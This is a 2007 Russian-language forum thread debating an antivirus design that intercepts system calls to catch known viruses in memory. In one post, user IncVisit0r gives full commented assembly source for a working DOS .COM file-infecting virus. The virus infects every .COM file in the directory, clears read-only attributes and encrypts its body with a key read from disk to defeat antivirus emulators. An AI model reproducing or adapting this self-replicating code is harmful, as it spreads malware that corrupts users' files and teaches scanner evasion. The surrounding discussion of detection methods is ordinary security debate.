Новый антивирус, основанный на старых идеях
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Новый антивирус, основанный на старых идеях - 2007-10-12 16:52:04.343333
|
|
|
IncVisit0r
Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
|
Новый антивирус, основанный на старых идеях =========================================== Начнем с рассмотрения того, как в общем и целом работают практически все современные антивирусы. Обычно они содержат две основные части: сканер (проверяющий определенные объекты по запросу) и резидентный модуль, контролирующий обращения к объектам, которые могут быть заражены и проверяющий их "на лету". Никто, пожалуй, не станет отрицать, что проверка объектов резидентным модулем в современных реалиях просто необходима. Но вот вопрос: КАК производится эта проверка? Ответ: перехватывается обращение к потенциально зараженному модулю и производится его сканирование, принципиально не отличающееся от сканирования того же модуля при проверке сканером, и только потом к проверенному модулю разрешается доступ прикладным программам и операционной системе. Это, естественно, отнимает время. В результате имеем следующую картину: пусть пользователь запускает EXE-файл. Антивирус пытается его проверить: распаковать из под всех известных ему упаковщиков, пробить эмулятором возможную шифровку полиморфика, и только потом отдать истерзанный файл системе. Сразу бросается в глаза следующее: 1. Если файл упакован, то распаковка производится лишь для того, чтобы убедиться, что внутри не скрывается вирус или троян, на нее в любом случае тратится время. 2. Если упаковщик неизвестен антивирусу, скорее всего, даже известный вирус под ним он не обнаружит. 3. Если файл находится на носителе только-для-чтения (CD, CD-R), то в случае обнаружения вируса антивирус заблокирует к нему доступ и зараженной программой невозможно будет воспользоваться. Не лучше обстоят дела и при проверке сканером: антивирус пытается извлечь файлы из известных ему архивов, что растягивает проверку на многие часы. То есть антивирусная безопасность оборачивается нешуточной потерей времени. Теперь задайте себе вопрос: вам важно знать, что на компьютере нет известных антивирусу вирусов В ПРИНЦИПЕ или же достаточно того, чтобы вирус, даже если он и есть, никогда не получал управления и не производил вредоносных действий? Если достаточно второго, тогда читайте дальше. Во времена MS-DOS были относительно распространены блокировщики вирусов - маленькие резидентные программы, которые реагировали на определенный штамм резидентного вируса и не позволяли ему инсталироваться в память компьютера. После появления вируса Phantom-1, даже авторы DrWeb выпустили сначала блокировщик, а уж потом полноценное противоядие. Вот принцип блокировщика мы и положим в основу нового антивируса. Не секрет, что прикладная программа, работающая в операционной системе защищенного режима, не имеет прямого доступа к оборудованию. В то же время, любой программе (не только вирусу, червю или трояну), нужно обращаться к сервисам операционной системы. Без этого ничего ни вредного, ни полезного она сделать не сможет. Идея заключается в следующем: мы перехватываем системные вызовы и кое-что делаем. Что же мы делаем? Проверяем код, сделавший системный вызов, на принадлежность к вредоносному (просто читаем память процесса). Если сигнатура не обнаружена, то не делаем ничего, а если обнаружена - патчим код вируса прямо в памяти, чтобы он сразу передавал управление зараженной программе. Для троянца мы просто завершаем его процесс. Достоинства такого подхода: 1. Никаких проверок дисковых файлов, следовательно, никаких тормозов. 2. Если вирус начал использовать системные вызовы, то он наверняка уже расшифровался в памяти - никакие эмуляторы нам не нужны. 3. Поскольку мы контролируем системные вызовы, мы можем не обращать никакого внимания на упаковщики - просто ждать, пока все само собой распакуется. 4. Если мы хотим обнаруживать неизвестную заразу - проще простого - коллекционируем последовательность системных вызовов и сравниваем с эвристической маской. Естественно, к достоинствам прилагаются и недостатки. Например: 1. Файлы остаются зараженными, так что на незащищенной системе они могут вызвать инфекцию. 2. Сложно обнаруживать вирусы в скриптах, но это не недостаток технологии - изучив скриптовой движок, можно перехватывать обращения к его функциям. 3. Если вирус все-таки прорвался в систему, а тем более, в нулевое кольцо (например, при помощи драйвера) - приши пропало. С другой стороны: если такое произошло, то он может и винт через порты отформатировать, причем другие антивирусы в этом случае тоже мало что могут сделать. Если у кого-то есть идеи по поводу написанного, давайте это обсудим. С уважением, Grand IncVisit0r.
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-12 17:21:52.050000
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
Ну… У тебя получается неплохо. Может напишешь книгу об этом =)
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-12 20:48:02.020000
|
|
|
Yashin
Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
|
Гы. А тормоза? при каждом системном вызове?
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-14 15:01:22.186666
|
|
|
o_OBallers
Сообщений: 54
Оценки: 0
Присоединился: 2007-10-11 08:05:42.076666
|
Действтельно.
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 10:26:56.483333
|
|
|
IncVisit0r
Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
|
Речь идет не просто о тупом контроле за КАЖДЫМ системным вызовом, а об избирательном контроле. Если мы, изучив вирус, узнаем, что одной из первых функций он вызывает, допустим, GetVersion (имеется в виду Win32 вирус), то мы проверяем память процесса при вызове этой функции. При вызове других функций очевидно память на этот вирус проверять не надо. В конце концов, останется не так уж много функций, которые придется контролировать. Или кто-то считает, что проверить несколько байт памяти будет дольше, чем прочесывать программу эмулятором? К тому же, как действовать антивирусу, если в полиморфный генератор, например, добавлено чтение данных из дискового файла, которые затем будут использоваться в качестве ключа? Что эмулировать дисковый ввод/вывод? А с рандомерами как?
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 13:04:02.400000
|
|
|
Sun_trop
Сообщений: 16
Оценки: 0
Присоединился: 2007-09-30 12:30:08.306666
|
Ну если создать такой анализ, который будет корректно генерировать и сравнивать цепочку вызовов с маской опасных вызовов то ок. Тут же еще надо суметь не заблокировать санкционированный процесс. Вот еще интересно, если к примеру загрузить обработчик прерываний вместо существующего, и включить в него вредоносный код, то хватит ли прав у твоего антивиря заблочить этот процесс?
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 13:51:08.766666
|
|
|
0v3r10rd
Сообщений: 211
Оценки: 0
Присоединился: 2007-06-28 18:47:52.503333
|
в этом мире нет нечего неуязвимого,просто держись рядом чтоб нас неповязали… вообщем статья бум бум +1 апь)) Сложно обнаруживать вирусы в скриптах, но это не недостаток технологии - изучив скриптовой движок, можно перехватывать обращения к его функциям.==очень интересно Никаких проверок дисковых файлов, следовательно, никаких тормозов==>и следовательно проход для виря…
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 15:13:54.063333
|
|
|
IncVisit0r
Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
|
Проход для виря? А как это он, интересно, будет выполняться прямо из дискового файла, минуя оперативку? А насчет прав, так как это он будет перехватывать системные вызовы, не находясь в Ring0? Без драйвера никто и не думал обходиться. К тому же, если вирусу удалось заслать код в нулевое кольцо, чем тот же Каспер или Drweb поможет? Тут уж кто кого. А вот если вирус известен, мы просто не дадим ему поставить драйвер - всего делов то. Если кто-то поставит драйвер, минуя системные вызовы - всей системе безопасности ППЦ. Ну а если не сможет - что тогда копья ломать?
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 16:48:26.720000
|
|
|
IncVisit0r
Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
|
Чтобы не быть голословным, приведу один свой старый исходник. Вирь намеренно сделан тупым, чтобы без антиэвристики опознавался всеми кому не лень. Но стоит заразить этой дрянью .COM-файл, как большинство существующих антивирусов отказываются признавать в нем потенциально опасный код. Из комментариев, я надеюсь, станет ясно, почему. Кстати, если вместо эмулятора использовать перехват Int 21h, блокировщик легко блокирует вирус. code segment assume cs:code, ds:code, es:code, ss:code org 100h Start: jmp Real_Start ;Переход на начало вируса ;—————————————————————————— ; Сымитируем зараженный .COM ;—————————————————————————— nop ;Если этот байт равен 90h, ;код только скомпилирован, ;0AAh - мы уже в жертве mov ah, 9 ;Вывод сообщения и выход mov dx, OFFSET Copyright int 21h mov ax, 4C00h int 21h Copyright db '!WARNING! WARNING! WANRING! WARNING! WARNING!', 13, 10 db '———————————————', 13, 10 db 'This file contains a non-resident .COM virus.', 13, 10 db 'Probably all .COM files in current directory', 13, 10 db 'was infected! ', 13, 10 db 13, 10 db 'NAME: Unknown', 13, 10 db 'AUTHOR: Grand IncVisit0r', 13, 10 db 'DAMAGE: NONE', 13, 10 db 'NEW TECH: Anti-Heuristical code', 13, 10 db '———————————————', 13, 10 db '$' Real_Start: mov bp, word ptr [Start+1] ;Получим смещение вируса add bp, OFFSET(Start)+3 mov ds, ds:[2Ch] ;Найдем имя своего файла xor si, si cld NameLookup: lodsw dec si or ax, ax jnz NameLookup lea dx, [si+3] mov ax, 3D00h ;Открыть свой файл на чтение int 21h jc AwwHalt xchg bx, ax push cs ;Восстановим DS pop ds lea si, [bp+FuncPos] ;Считаем первый байт - 0E9h mov dx, si mov ah, 3Fh mov cx, 1 int 21h mov ah, 3Eh ;Закроем файл int 21h AwwHalt: mov ax, 4C00h ;Это и есть СУПЕР-АНТИЭВРИСТИКА FuncPos equ $-Real_Start-1 ;… в понимании эмулятора int 21h ;здесь программа завершается, ;а в нашем - просто вызов ;AX=0E900h/Int 21h mov al, 4Ch ;Восстановим номер функции xchg byte ptr [si], al ;… и используем 0E9h как ;ключ cmp byte ptr [Start+3], 90h ;Тело зашифровано? je EncodedStart call DecodeEncode ;Декодируемся ;—————————————————————————— ; Отсюда начинается зашифрованный код. Если эмулятор не проэмулит чтение с ; диска, то он никогда не расшифрует этот код - правильный ключ читается из ; зараженного файла! ;—————————————————————————— EncodedStart: mov di, OFFSET Start ;Восстановим 4 байта жертвы push di lea si, [bp+OrigBytesPos] movsw movsw call InfectEmAll ;Позаражаем все *.COM ret ;Возврат в носитель ;—————————————————————————— ; Основная процедура - она заражает файлы :) ;—————————————————————————— InfectEmAll proc push ds es mov ah, 2Fh int 21h ;Сохраняем DTA push es bx mov ah, 1Ah ;Ставим свою DTA lea dx, [bp+DTAPos] int 21h mov ah, 4Eh ;Найти файлы *.COM lea dx, [bp+FileMaskPos] FindNext: xor cx, cx int 21h jc NoMore lea dx, [bp+DTAPos+1Eh] call ProcessFile ;Оприходовать файл mov ah, 4Fh ;Следующий файл jmp FindNext NoMore: pop dx ds mov ah, 1Ah ;Восстановить DTA int 21h pop es ds ret InfectEmAll endp ;—————————————————————————— ProcessFile proc mov ax, 4301h ;Сбросить Read-Only xor cx, cx ;… даже если его нет :) int 21h jc SkipFile mov ax, 3D02h ;Открываем файл для расправы int 21h jc SkipFile xchg bx, ax push dx call InfectOne ;Заражаем файл mov ax, 5701h ;Почему я не сохранял атрибуты, ;дату/время? Да они есть в DTA! mov cx, word ptr [bp+DTAPos+16h] mov dx, word ptr [bp+DTAPOs+18h] int 21h ;Восстанавливаем дату mov ah, 3Eh ;Закрываем файл int 21h pop dx mov ax, 4301h ;Восстанавливаем атрибуты mov cl, byte ptr [bp+DTAPos+15h] xor ch, ch int 21h SkipFile: ret ProcessFile endp ;—————————————————————————— InfectOne proc lea dx, [bp+OrigBytesPos] ;Читаем 4 байта начала файла mov cx, 4 mov ah, 3Fh int 21h jc SkipThisShit cmp ax, cx ;Считалось 4 байта? jne SkipThisShit mov al, [bp+OrigBytesPos] ;Он часом не EXE? cmp al, 'M' je SkipThisShit cmp al, 'Z' je SkipThisShit mov al, [bp+OrigBytesPos+3] ;Не заражаем cmp al, 90h ;… наш оригинал je SkipThisShit cmp al, 0AAh ;… и все наши копии je SkipThisShit mov ax, 4202h ;В конец файла xor cx, cx xor dx, dx int 21h jc SkipThisShit or dx, dx ;.COM больше 64К - странно… jnz SkipThisShit cmp ah, 0F0h ;Очень большой? ja SkipThisShit cmp ah, 1 ;Очень маленький? :) jb SkipThisShit sub ax, 3 ;Вычислим адрес перехода mov [bp+JmpCodePos+1], ax mov al, 0E9h ;Команда JMP mov [bp+JmpCodePos], al mov byte ptr [bp+JmpCodePos+3], 0AAh ;Черная метка call EncodeWrite ;Шифруемся и записываемся jc SkipThisShit mov ax, 4200h ;Указатель в начало xor cx, cx xor dx, dx int 21h jc SkipThisShit lea dx, [bp+JmpCodePos] ;Записываем переход на себя mov cx, 4 mov ah, 40h int 21h SkipThisShit: ret InfectOne endp ;—————————————————————————— FileMask db '*.COM', 0 ;Маска для поиска файлов FileMaskPos equ FileMask-Real_Start ;—————————————————————————— ; Процедура шифрования/дешифрования основного вирусного кода, AL - ключ ;—————————————————————————— DecodeEncode proc pushf lea si, [bp+EncodedStart-Real_Start] mov cx, DecodeEncode-EncodedStart DecodeLoop: xor byte ptr [si], al xor byte ptr [si], cl inc si loop DecodeLoop popf ret DecodeEncode endp ;—————————————————————————— ; Шифрование вируса, запись и расшифровка. Ну пожалел я места на буфер… ;—————————————————————————— EncodeWrite proc call DecodeEncode ;Шифрование push ax mov dx, bp mov cx, VirSize mov ah, 40h ;Запись int 21h pop ax call DecodeEncode ;Расшифровка ret EncodeWrite endp ;—————————————————————————— ; Данные вируса ;—————————————————————————— OrigBytes db 4 dup (90h) ;Настоящее начало жертвы OrigBytesPos equ OrigBytes-Real_Start VirSize equ $-Real_Start ;Размер вирусного кода JmpCode db 4 dup (?) ;Место под переход и метку JmpCodePos equ $-Real_Start DTA db 43 dup (?) ;Место под DTA DTAPos equ DTA-Real_Start ;—————————————————————————— ; Конец вирусного кода ;—————————————————————————— code ends end Start
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 16:50:20.083333
|
|
|
Sun_trop
Сообщений: 16
Оценки: 0
Присоединился: 2007-09-30 12:30:08.306666
|
т
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 17:36:30.573333
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
Чел, зря ты паришься. Описаный метод был известен ещё во времена доса, звался туннелингом. Щас под вин32 называется проактивная защита (кав6, оутпост, …) - регистрируется запись себя в авторан, влезание в чужое адресное пространство и тому подобная хрень. Вирусы конечно же тоже перехватывают апи - в этой области одна сторона очень быстро перехватывает оружие другой. Кстати, насколько я знаю, первыми начали перехватывать системные вызовы именно вирусы. В общем, почитай доки с васма, найдёшь для себя много интересного =)
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-17 10:37:16.873333
|
|
|
IncVisit0r
Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
|
Да я не парюсь :) А насчет проактивной защиты: сейчас она используется для борьбы с НЕИЗВЕСТНОЙ заразой как последний рубеж обороны, засекающий подозрительные действия. А в описанном методе предлагается использовать перехват системных вызовов для борьбы с ИЗВЕСТНЫМИ вирусами и троянами. А если нравится глюкавый Каспер - пожалуйста, о вкусах я спорить не собираюсь.
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-17 16:20:55.303333
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
Всё равно, метод давно известен, так что патент тебе не светит =)
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-18 13:29:23.156666
|
|
|
0v3r10rd
Сообщений: 211
Оценки: 0
Присоединился: 2007-06-28 18:47:52.503333
|
дело идёт в данной теме не овкусах использования какого- либо антивиря,дело в его надёжности и практичности [sm=sm203.gif]
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-18 13:43:56.016666
|
|
|
Sun_trop
Сообщений: 16
Оценки: 0
Присоединился: 2007-09-30 12:30:08.306666
|
Помоему счас в антивирусах главное как они борятся с неизвестной заразой. Ведь если эффективно уничтожать не известный вирус то его не придется считать известным, отсюда не неужно создавать базы. Так что лучше подумать как боротся с не известностью) Эт просто моя мысль.
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-18 17:27:52.623333
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: Sun_trop Помоему счас в антивирусах главное как они борятся с неизвестной заразой. Ну, не очень то у них это получаеццо =) Много ошибочных срабатываний. Ведь одна и та же прога (или алгоритм) может быть использована во имя как добрых, так и злых целей.
|
|
|
RE: Новый антивирус, основанный на старых идеях - 2007-10-19 18:46:45.470000
|
|
|
0v3r10rd
Сообщений: 211
Оценки: 0
Присоединился: 2007-06-28 18:47:52.503333
|
Инквизитор новый Касперский))
|
|
|
|
|